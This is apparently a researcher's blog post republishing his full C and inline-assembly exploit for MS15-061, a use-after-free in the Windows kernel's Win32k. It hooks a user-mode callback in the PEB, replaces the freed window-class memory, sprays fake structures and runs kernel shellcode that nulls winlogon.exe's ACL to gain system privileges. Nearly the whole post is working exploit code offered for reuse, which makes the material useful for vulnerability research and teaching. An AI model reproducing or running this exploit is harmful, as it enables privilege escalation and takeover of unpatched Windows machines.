MS15-061 is a Use After Free vulnerability in Windows Kernel. A malicious application can exploit it be able to execute arbitrary code with kernel privileges.

in 2015 I managed to exploit it by reverse engineering Win32k.sys and it ended up in Metasploit, you can read the blog post about it in rapid7.

I’m republishing the exploit here.

the code is heavly documented. steps:

  • Implement a PEB callback function for hooking.
  • trigger a vulnerability by creating a specific window to execute the vulnerable function.
  • Within the PEB callback, substitute a fake object with NtUserDefSetText in the Desktop heap.
  • Create a fake object with buffer filled with 0x0c0c0c0c and a pointer to tagWND. for safe dereferences: I used this trick similar to using fake vTable in Browser exploitation: allocate 0x0c0c0c0c address and fill tagWND with 0x0c0c0c0c so every dereference will have a valid address in 0x0c0c0c0c range, this method can’t work on SMAP
  • Repeat this process until bServerSideWindowProc is set.

Referenaces

#include <windows.h>
#include <stdio.h>

typedef struct _HANDLEENTRY
{
    PVOID phead;
    ULONG pOwner;
    BYTE bType;
    BYTE bFlags;
    WORD wUniq;
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SERVERINFO
{
    DWORD dwSRVIFlags;
    DWORD cHandleEntries;
    WORD wSRVIFlags;
    WORD wRIPPID;
    WORD wRIPError;

} SERVERINFO, *PSERVERINFO;

typedef struct _SHAREDINFO
{
    PSERVERINFO psi;
    PHANDLEENTRY aheList;
    ULONG HeEntrySize; // Win7 - not present in WinXP?
    ULONG_PTR pDispInfo;
    ULONG_PTR ulSharedDelta;
    ULONG_PTR awmControl;        // Not in XP
    ULONG_PTR DefWindowMsgs;     // Not in XP
    ULONG_PTR DefWindowSpecMsgs; // Not in XP
} SHAREDINFO, *PSHAREDINFO;

void *Get__Win32ClientInfo()
{
    /*
   +0x1d4 GdiTebBatch      : _GDI_TEB_BATCH
   +0x6b4 RealClientId     : _CLIENT_ID
   +0x6bc GdiCachedProcessHandle : Ptr32 Void
   +0x6c0 GdiClientPID     : Uint4B
   +0x6c4 GdiClientTID     : Uint4B
   +0x6c8 GdiThreadLocalInfo : Ptr32 Void
   +0x6cc Win32ClientInfo  : [62] Uint4B
   */
    void *address = NULL;
    __asm
    {
	mov     eax,dword ptr fs:[00000018h] // eax=TEB
        mov     eax,dword ptr [eax+0x6cc] // Win32ClientInfo
	mov	  address,eax;
    }
    return address;
}

CHAR originalCLS[0x5c + 2];

HWND GetKernelHandle(HWND hwnd)
{
    HWND kernelWindowHandle;
    ULONG i;
    HMODULE hUser32;
    PSHAREDINFO pSharedInfo;
    PSERVERINFO pServerInfo;
    HANDLEENTRY *UserHandleTable;

    pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
    if (pSharedInfo == NULL)
    {
        printf("[-] Unable to locate SharedInfo");
        return NULL;
    }
    else
    {
        printf("[*] SharedInfo @ %#p\r\n", pSharedInfo);
    }

    UserHandleTable = pSharedInfo->aheList;
    printf("[*] aheList @ %#p\r\n", UserHandleTable);

    pServerInfo = pSharedInfo->psi;
    printf("[*] pServerInfo @ %#p\r\n", pServerInfo);
    printf("[*] Handle Count: %d\r\n", pServerInfo->cHandleEntries);
    // printf("User Delta 0x%p\r\n", pSharedInfo->ulSharedDelta); Not used

    for (i = 0; i < pServerInfo->cHandleEntries; i++)
    {
        __try
        {
            //
            kernelWindowHandle = (HWND)(i | (UserHandleTable[i].wUniq << 0x10));
            if (kernelWindowHandle == hwnd)
            {
                kernelWindowHandle = (HWND)UserHandleTable[i].phead;
                printf("[+] Kernel Window Handle found %p\r\n", kernelWindowHandle);
                return kernelWindowHandle;
            }
        }
        __except (EXCEPTION_EXECUTE_HANDLER)
        {
        }
    }

    return NULL;
}

VOID ArbDecByOne(DWORD addr)
{
    *(DWORD *)(originalCLS + 0x58) = addr - 0x4;
}

typedef struct _LARGE_UNICODE_STRING
{
    ULONG Length;
    ULONG MaximumLength : 31;
    ULONG bAnsi : 1;
    PWSTR Buffer;
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;

VOID RtlInitLargeUnicodeString(
    PLARGE_UNICODE_STRING plstr,
    LPCWSTR psz,
    UINT cchLimit)
{
    ULONG Length;

    plstr->Buffer = (PWSTR)psz;
    plstr->bAnsi = FALSE;
    if (psz != NULL)
    {
        Length = wcslen(psz) * sizeof(WCHAR);
        plstr->Length = min(Length, cchLimit);
        plstr->MaximumLength = min((Length + sizeof(UNICODE_NULL)), cchLimit);
    }
    else
    {
        plstr->MaximumLength = 0;
        plstr->Length = 0;
    }
}

__declspec(naked) BOOL NTAPI NtUserDefSetText(
    IN HWND hwnd,
    IN PLARGE_UNICODE_STRING pstrText OPTIONAL)
{
    __asm
    {
        mov     eax, 116Dh
	mov     edx, 7FFE0300h	
	call    dword ptr [edx]
	retn    8
    }
}

// the Window Procedure
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{

    return DefWindowProc(hwnd, msg, wParam, lParam);
}

void *kernelHandle;
__declspec(noinline) int Shellcode()
{
    // return MessageBoxA(NULL,"Boom","boom",0);
    __asm 
    {
	mov eax, kernelHandle // WND - Which window? Check this
	mov eax, [eax+8] // THREADINFO
	mov eax, [eax] // ETHREAD
	mov eax, [eax+0x150] // KPROCESS
	mov eax, [eax+0xb8] // flink
	procloop:
	lea edx, [eax-0xb8] // KPROCESS
	mov eax, [eax]
	add edx, 0x16c // module name
	cmp dword ptr [edx], 0x6c6e6977 // “winl” for winlogon.exe
	jne procloop
	sub edx, 0x170
	mov dword ptr [edx], 0x0 // NULL ACL
    }
}

BOOL success = FALSE;
LRESULT CALLBACK WndProc2(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{

    WORD um = 0;
    __asm
    {
	mov ax, cs
	mov um, ax
    }
    if (um == 0x1b)
    {
        // USER MODE
    }
    else
    {
        success = TRUE;
       // DebugBreak();

        Shellcode();
    }

    return DefWindowProc(hwnd, msg, wParam, lParam);
}

HWND Secondhwnd[50];
int SecondWindowIndex = 1;
void CreateSecondWindow()
{
    WNDCLASSEX wc;
    const WCHAR g_szClassName[] = L"SecondClass";

    // Step 1: Registering the Window Class
    wc.cbSize = sizeof(WNDCLASSEX);
    wc.style = 0;
    wc.lpfnWndProc = WndProc2;
    wc.cbClsExtra = 0;
    wc.cbWndExtra = 0;
    wc.hInstance = NULL;
    wc.hIcon = LoadIcon(NULL, IDI_QUESTION);
    wc.hCursor = LoadCursor(NULL, IDI_QUESTION);
    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
    wc.lpszMenuName = NULL;
    wc.lpszClassName = g_szClassName;
    wc.hIconSm = LoadIcon(NULL, IDI_QUESTION);

    if (!RegisterClassExW(&wc))
    {
        return;
    }

    for (int i = 0; i < 50; i++)
    {
        Secondhwnd[i] = CreateWindowEx(
            WS_EX_CLIENTEDGE,
            g_szClassName,
            L"The title of my window",
            WS_OVERLAPPEDWINDOW,
            CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
            NULL, NULL, NULL, NULL);

        if (Secondhwnd[i] == NULL)
        {

            return;
        }
    }
}

const WCHAR g_szClassName[] = L"MS15-061";
HWND hwnd;
HINSTANCE hInstance2;
typedef NTSTATUS(NTAPI *pUser32_ClientCopyImage)(PVOID p);
pUser32_ClientCopyImage g_originalCCI;
void *__ClientCopyImageAddress;

NTSTATUS NTAPI hookCCI(PVOID p)
{

    LARGE_UNICODE_STRING plstr;
    // free  WND object
    DestroyWindow(hwnd);
    UnregisterClassW(g_szClassName, NULL);

    /*
    .text:BF89EA6D                 push    edx
    .text:BF89EA6E                 call    _xxxClientCopyImage@20 ; xxxClientCopyImage(x,x,x,x,x)
    .text:BF89EA73                 lea     esi, [edi+58h]  ------->>>> replace edi memeory with NtUserDefSetText
    .text:BF89EA76                 mov     edx, eax
    .text:BF89EA78                 mov     ecx, esi
    .text:BF89EA7A                 call    @HMAssignmentLock@8 ; HMAssignmentLock(x,x)

    */

    DebugBreak();
    RtlInitLargeUnicodeString(&plstr, (WCHAR *)originalCLS, (UINT)-1);
    NtUserDefSetText(Secondhwnd[SecondWindowIndex], &plstr);
    SecondWindowIndex += 1;
    return g_originalCCI(p);
}

void *Get__ClientCopyImageAddressInPEB()
{
    void *address = NULL;
    __asm
    {
	mov edx , 0xD8; // 0x36 *4 ->  API index *4  number  for  __ClientCopyImage
	mov     eax,dword ptr fs:[00000018h] // eax=TEB
        mov     eax,dword ptr [eax+30h] // EAX=PEB
        mov     eax,dword ptr [eax+2Ch] // EAX=KernelCallbackTable
	add	  eax,edx
	mov	  address,eax;
		//  int 3

    }

    return address;
}

void init()
{
    DWORD prot;

    LoadLibraryA("user32.dll");
    CreateSecondWindow();

    void *lpvBase = VirtualAlloc(
        (void *)0x0c0c0c0c,       // System selects address
        2048,                     // Size of allocation
        MEM_RESERVE | MEM_COMMIT, // Allocate reserved pages
        PAGE_READWRITE);          // Protection = no access

    /*
    for safe exit  : i used trick like  Browser Fake vTable :
    allocate 0x0c0c0c0c address and  fill tagWND with 0x0c0c0c0c
    so every dereference  will loop in 0x0c0c0c0c

    */
    memset(lpvBase, '\x0c', 2048);

    memset(originalCLS, 0, 0x5c + 2);
    memset(originalCLS, '\x0c', 0x5c);

    /*
   +0x014 bForceMenuDraw   : Pos 15, 1 Bit
   +0x014 bDialogWindow    : Pos 16, 1 Bit
   +0x014 bHasCreatestructName : Pos 17, 1 Bit
   +0x014 bServerSideWindowProc : Pos 18, 1 Bit
   +0x014 bAnsiWindowProc  : Pos 19, 1 Bit
   */

    kernelHandle = GetKernelHandle(Secondhwnd[0]);
    ArbDecByOne((DWORD)kernelHandle + 0x14); //

    __ClientCopyImageAddress = Get__ClientCopyImageAddressInPEB();
    printf("address of __ClientCopyImage is %x \r\n", __ClientCopyImageAddress);

    if (!VirtualProtect(__ClientCopyImageAddress, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot))
    {
        return;
    }
    g_originalCCI = (pUser32_ClientCopyImage)InterlockedExchangePointer(__ClientCopyImageAddress, &hookCCI);
}
int main()
{
    WNDCLASSEX wc;
    int x;
    MSG Msg;

    // Step 1: Registering the Window Class
    wc.cbSize = sizeof(WNDCLASSEX);
    wc.style = 0;
    wc.lpfnWndProc = WndProc;
    wc.cbClsExtra = 0;
    wc.cbWndExtra = 0;
    wc.hInstance = NULL;
    wc.hIcon = NULL;   // bypass  check  inside xxxSetClassIcon to lead  execution path to callback
    wc.hCursor = NULL; // bypass  check  inside xxxSetClassIcon to lead  execution path to callback
    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
    wc.lpszMenuName = NULL;
    wc.lpszClassName = g_szClassName;
    wc.hIconSm = NULL; // bypass  "if" inside xxxSetClassIcon to lead  execution  path to callback

    init();

    /*


        .text:BF91B33C                 mov     edi, [ebp+pclsBase]
        ..............
        ..............
        .text:BF91B346                 mov     eax, [edi+58h]
        .text:BF91B349                 cmp     eax, [ebp+arg_8] ; new and  old  icon must be  diffrent
        .text:BF91B34C                 jz      loc_BF91B42C     ----------->>> we  need bypass this
        ..............
        ..............
        .text:BF91B396 loc_BF91B396:                           ; CODE XREF: xxxSetClassIcon(x,x,x,x)+68j
        .text:BF91B396                 lea     esi, [edi+58h]  ;  EDI
        .text:BF91B399                 mov     ecx, esi
        .text:BF91B39B                 mov     edx, [ebp+arg_8]
        .text:BF91B39E                 call    @HMAssignmentLock@8 ; HMAssignmentLock(x,x)
        .text:BF91B3A3                 cmp     dword ptr [edi+44h], 0
        .text:BF91B3A7                 jz      short loc_BF91B3B4  ---------->>> we  need  bypass this
        .text:BF91B3A9                 cmp     dword ptr [esi], 0
        .text:BF91B3AC                 jnz     short loc_BF91B3B4  ---------->>> we  need  bypass this
        .text:BF91B3AE                 push    edi
        .text:BF91B3AF                 call    _xxxCreateClassSmIcon@4 ; xxxCreateClassSmIcon(x)

    */

    do
    {
        if (!RegisterClassExW(&wc))
        {
            return 0;
        }

        // Step 2: Creating the Window
        hwnd = CreateWindowEx(
            WS_EX_CLIENTEDGE,
            g_szClassName,
            L"The title of my window",
            WS_OVERLAPPEDWINDOW,
            CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
            NULL, NULL, NULL, NULL);

        if (hwnd == NULL)
        {
            return 0;
        }

        ShowWindow(hwnd, NULL);
        UpdateWindow(hwnd);
        // Triger UserMode CallBack
        SetClassLongPtr(hwnd, GCLP_HICON, (LONG_PTR)LoadIcon(NULL, IDI_QUESTION));

        SendMessageW(Secondhwnd[0], WM_NULL, NULL, NULL);
    } while (!success);
}